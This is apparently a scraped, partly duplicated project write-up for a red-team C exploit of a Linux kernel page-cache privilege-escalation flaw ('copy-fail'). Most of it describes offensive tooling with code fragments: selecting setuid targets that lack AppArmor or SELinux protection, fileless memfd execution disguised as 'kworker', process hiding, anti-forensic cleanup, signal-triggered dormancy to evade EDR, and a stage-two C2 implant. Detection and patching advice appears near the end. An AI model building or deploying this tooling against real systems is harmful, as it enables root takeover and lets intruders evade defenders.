$ -weight: 500;">pip -weight: 500;">install
┌─────────────────────────────────────────────────────────────┐
│ ORCHESTRATOR (exploit.c) │
│ Coordinates all modules in a 7-step pipeline: │
│ Hide → Discover → Prepare → Verify → Exploit → Cleanup → │
│ Deliver │
└─────────────────────────────────────────────────────────────┘ │ ┌─────────────┬─────────┴─────────┬─────────────┐ ▼ ▼ ▼ ▼
┌────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────┐
│ patch │ │ target │ │ anti │ │ stage1 │ │ memfd │
│ chunk │ │ discovery│ │ forensics│ │ delivery │ │ exec │
│ │ │ │ │ │ │ │ │ │
└────────┘ └──────────┘ └──────────┘ └──────────┘ └────────┘ │ │ │ │ │ └─────────────┴──────────────┴─────────────┴────────────┘ │ ┌─────────────────────────┴─────────────────────────┐ ▼ ▼
┌──────────────┐ ┌──────────────┐
│ proc_hide │ │ sleep_jitter │
│ signal │ │ stage2 C2 │
│ trigger │ │ implant │
└──────────────┘ └──────────────┘
┌─────────────────────────────────────────────────────────────┐
│ ORCHESTRATOR (exploit.c) │
│ Coordinates all modules in a 7-step pipeline: │
│ Hide → Discover → Prepare → Verify → Exploit → Cleanup → │
│ Deliver │
└─────────────────────────────────────────────────────────────┘ │ ┌─────────────┬─────────┴─────────┬─────────────┐ ▼ ▼ ▼ ▼
┌────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────┐
│ patch │ │ target │ │ anti │ │ stage1 │ │ memfd │
│ chunk │ │ discovery│ │ forensics│ │ delivery │ │ exec │
│ │ │ │ │ │ │ │ │ │
└────────┘ └──────────┘ └──────────┘ └──────────┘ └────────┘ │ │ │ │ │ └─────────────┴──────────────┴─────────────┴────────────┘ │ ┌─────────────────────────┴─────────────────────────┐ ▼ ▼
┌──────────────┐ ┌──────────────┐
│ proc_hide │ │ sleep_jitter │
│ signal │ │ stage2 C2 │
│ trigger │ │ implant │
└──────────────┘ └──────────────┘
┌─────────────────────────────────────────────────────────────┐
│ ORCHESTRATOR (exploit.c) │
│ Coordinates all modules in a 7-step pipeline: │
│ Hide → Discover → Prepare → Verify → Exploit → Cleanup → │
│ Deliver │
└─────────────────────────────────────────────────────────────┘ │ ┌─────────────┬─────────┴─────────┬─────────────┐ ▼ ▼ ▼ ▼
┌────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────┐
│ patch │ │ target │ │ anti │ │ stage1 │ │ memfd │
│ chunk │ │ discovery│ │ forensics│ │ delivery │ │ exec │
│ │ │ │ │ │ │ │ │ │
└────────┘ └──────────┘ └──────────┘ └──────────┘ └────────┘ │ │ │ │ │ └─────────────┴──────────────┴─────────────┴────────────┘ │ ┌─────────────────────────┴─────────────────────────┐ ▼ ▼
┌──────────────┐ ┌──────────────┐
│ proc_hide │ │ sleep_jitter │
│ signal │ │ stage2 C2 │
│ trigger │ │ implant │
└──────────────┘ └──────────────┘
patch_chunk.c/h
target_discovery.c/h
anti_forensics.c/h
stage2_template.c/h
memfd_exec.c/h
proc_hide.c/h
signal_trigger.c/h
sleep_jitter.c/h
vulnerable.c
patch_chunk.c
// Original: socket() + bind() + setsockopt() + accept() per chunk
// Ours: accept() per chunk; ctrl socket reused across all chunks int ctrl = -1, op = -1;
for (off_t off = 0; off < len; off += 4) { patch_chunk(fd, off, window, &ctrl, &op); // ctrl reused
}
// Original: socket() + bind() + setsockopt() + accept() per chunk
// Ours: accept() per chunk; ctrl socket reused across all chunks int ctrl = -1, op = -1;
for (off_t off = 0; off < len; off += 4) { patch_chunk(fd, off, window, &ctrl, &op); // ctrl reused
}
// Original: socket() + bind() + setsockopt() + accept() per chunk
// Ours: accept() per chunk; ctrl socket reused across all chunks int ctrl = -1, op = -1;
for (off_t off = 0; off < len; off += 4) { patch_chunk(fd, off, window, &ctrl, &op); // ctrl reused
}
target_discovery.c
/usr/bin/su
/usr/local/bin
Phase 1: Check 18 priority targets (su, -weight: 600;">sudo, passwd, pkexec, mount, ping...)
Phase 2: Scan standard directories (/usr/bin, /bin, /usr/sbin...)
Phase 3: Deep scan (/usr/lib, /opt) if aggressive mode enabled
Phase 1: Check 18 priority targets (su, -weight: 600;">sudo, passwd, pkexec, mount, ping...)
Phase 2: Scan standard directories (/usr/bin, /bin, /usr/sbin...)
Phase 3: Deep scan (/usr/lib, /opt) if aggressive mode enabled
Phase 1: Check 18 priority targets (su, -weight: 600;">sudo, passwd, pkexec, mount, ping...)
Phase 2: Scan standard directories (/usr/bin, /bin, /usr/sbin...)
Phase 3: Deep scan (/usr/lib, /opt) if aggressive mode enabled
score = setuid_root(1000) + setuid_user(500) + small_size_bonus(200 per KB under 100KB) + no_apparmor(300) - apparmor_enforced(-500) + no_selinux(200) - selinux_enforced(-400) + standard_path(100)
score = setuid_root(1000) + setuid_user(500) + small_size_bonus(200 per KB under 100KB) + no_apparmor(300) - apparmor_enforced(-500) + no_selinux(200) - selinux_enforced(-400) + standard_path(100)
score = setuid_root(1000) + setuid_user(500) + small_size_bonus(200 per KB under 100KB) + no_apparmor(300) - apparmor_enforced(-500) + no_selinux(200) - selinux_enforced(-400) + standard_path(100)
memfd_exec.c
memfd_create(2)
int mfd = memfd_create("kworker", MFD_CLOEXEC);
write(mfd, payload, len);
lseek(mfd, 0, SEEK_SET);
fexecve(mfd, argv, envp); // Never touches filesystem
int mfd = memfd_create("kworker", MFD_CLOEXEC);
write(mfd, payload, len);
lseek(mfd, 0, SEEK_SET);
fexecve(mfd, argv, envp); // Never touches filesystem
int mfd = memfd_create("kworker", MFD_CLOEXEC);
write(mfd, payload, len);
lseek(mfd, 0, SEEK_SET);
fexecve(mfd, argv, envp); // Never touches filesystem
/proc/$pid/fd/
memfd:kworker
pid_t child = fork();
if (child == 0) { pid_t grandchild = fork(); if (grandchild == 0) { setsid(); fexecve(mfd, argv, envp); } _exit(0); // Intermediate dies, grandchild orphaned
}
waitpid(child, NULL, 0); // Original parent exits cleanly
pid_t child = fork();
if (child == 0) { pid_t grandchild = fork(); if (grandchild == 0) { setsid(); fexecve(mfd, argv, envp); } _exit(0); // Intermediate dies, grandchild orphaned
}
waitpid(child, NULL, 0); // Original parent exits cleanly
pid_t child = fork();
if (child == 0) { pid_t grandchild = fork(); if (grandchild == 0) { setsid(); fexecve(mfd, argv, envp); } _exit(0); // Intermediate dies, grandchild orphaned
}
waitpid(child, NULL, 0); // Original parent exits cleanly
anti_forensics.c
posix_fadvise(POSIX_FADV_DONTNEED)
echo 3 > /proc/sys/vm/drop_caches
utimensat()
signal_trigger.c
sleep(1); check_flag();
sigsuspend()
// Process state: S (sleeping, interruptible)
// CPU usage: 0.0%
// EDR sees: normal idle daemon while (!trigger_received) { sigsuspend(&wait_mask); // Returns only on signal
}
// Process state: S (sleeping, interruptible)
// CPU usage: 0.0%
// EDR sees: normal idle daemon while (!trigger_received) { sigsuspend(&wait_mask); // Returns only on signal
}
// Process state: S (sleeping, interruptible)
// CPU usage: 0.0%
// EDR sees: normal idle daemon while (!trigger_received) { sigsuspend(&wait_mask); // Returns only on signal
}
trigger_oneshot()
trigger_daemon()
trigger_auto()
kill -USR1 $PID # Execute now
kill -USR2 $PID # Request -weight: 500;">status (no execution)
kill -TERM $PID # Graceful shutdown with cleanup
kill -USR1 $PID # Execute now
kill -USR2 $PID # Request -weight: 500;">status (no execution)
kill -TERM $PID # Graceful shutdown with cleanup
kill -USR1 $PID # Execute now
kill -USR2 $PID # Request -weight: 500;">status (no execution)
kill -TERM $PID # Graceful shutdown with cleanup
sleep_jitter.c
getrandom(2)
/dev/urandom
LD_LIBRARY_PATH
# Standard: glibc static (portable, ~2 MB)
make redteam # Tiny: musl static (~50-100 KB, no glibc dependency)
make musl-static # Modern: zig cross-compile (no toolchain installation)
make cross-zig-arm64 # Traditional: GNU cross toolchain
make cross-arm64 CROSS_COMPILE=aarch64-linux-gnu-
# Standard: glibc static (portable, ~2 MB)
make redteam # Tiny: musl static (~50-100 KB, no glibc dependency)
make musl-static # Modern: zig cross-compile (no toolchain installation)
make cross-zig-arm64 # Traditional: GNU cross toolchain
make cross-arm64 CROSS_COMPILE=aarch64-linux-gnu-
# Standard: glibc static (portable, ~2 MB)
make redteam # Tiny: musl static (~50-100 KB, no glibc dependency)
make musl-static # Modern: zig cross-compile (no toolchain installation)
make cross-zig-arm64 # Traditional: GNU cross toolchain
make cross-arm64 CROSS_COMPILE=aarch64-linux-gnu-
overwrite_argv()
/proc/$pid/cmdline
prctl(PR_SET_NAME)
fadvise(DONTNEED)
/proc/$pid/exe
/proc/$pid/-weight: 500;">status
memfd:kworker
memfd_create
/proc/$pid/maps
a664bf3d603d
tgies/copy-fail-c
memfd_create(2)
https://github.com/toxy4ny/copy-fail-exploit-on-c-redteam
a664bf3d603d
/var/log/audit/ - Operational control: How does an operator trigger execution remotely?
- Stealth: How do we hide from ps, top, and EDR process monitoring?
- Cleanup: How do we -weight: 500;">remove forensic artifacts after exploitation?
- Resilience: What happens if the C2 server is down?
- Cross-platform support: Cloud targets run ARM64, not just x86_64. - Atomic verification: After each write, mmap() + memcmp() confirms the mutation landed. If page cache was reclaimed (rare under load), auto-retry with 1ms backoff.
- Parallel writes: fork() distributes chunks across up to 16 CPU cores. A 50 KB payload drops from ~12 seconds to ~800ms on modern hardware.
- Granular error codes: 0 = verified success, 1 = kernel patched (operation rejected), -1 = fatal error.
- Zero heap allocations: All buffers on stack; no malloc/free jitter for EDR to hook. - The target uses -weight: 600;">sudo instead of su
- AppArmor blocks su but not pkexec
- The binary is in /usr/local/bin or a snap package - Target lacks libc.so.6 (Alpine Linux uses musl)
- LD_LIBRARY_PATH is sanitized
- EDR hooks dlopen() or ld.so - AF_ALG + splice() correlation: eBPF programs can trace this specific combination — rare in legitimate workloads.
- memfd_create with suspicious names: While memfd:kworker blends in, the memfd_create syscall itself is uncommon for non-browser processes.
- Bracketed process names in userspace: Kernel threads don't have userspace memory maps; checking /proc/$pid/maps reveals the masquerade.
- DNS beaconing: Regular TXT queries or A-record lookups to a single domain, especially with jittered intervals.
- Page cache integrity: Kernel modules or hypervisors can verify setuid binary cache pages against on-disk hashes. - Patch the kernel: Upgrade to Linux >= 6.14 with commit a664bf3d603d, or apply your distribution's backport.
- Enable MAC enforcement: AppArmor and SELinux profiles on setuid binaries significantly raise the exploitation bar.
- Monitor AF_ALG: The authencesn template is rarely used legitimately; audit its usage via auditd or eBPF.
- Verify page cache: Periodic integrity checks on cached setuid pages can detect in-memory mutation. - Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee) and Xint — Original vulnerability discovery, disclosure, and the Python proof-of-concept at copy.fail.
- Tony Gies — Baseline C port (tgies/copy-fail-c) using nolibc, providing the foundational cross-platform syscall wrappers.
- Linux kernel developers — memfd_create(2), fexecve(3), and the nolibc header-only libc alternative.
- musl libc and Zig projects — Toolchains enabling tiny, portable static binaries. - Repository: https://github.com/toxy4ny/copy-fail-exploit-on-c-redteam
- License: Dual LGPL-2.1-or-later / MIT
- Original PoC: theori-io/copy-fail-CVE-2026-31431
- Baseline C Port: tgies/copy-fail-c - Apply the kernel patch (commit a664bf3d603d or distribution backport)
- Review /var/log/audit/ and EDR telemetry for AF_ALG anomalies
- Verify integrity of setuid binary page caches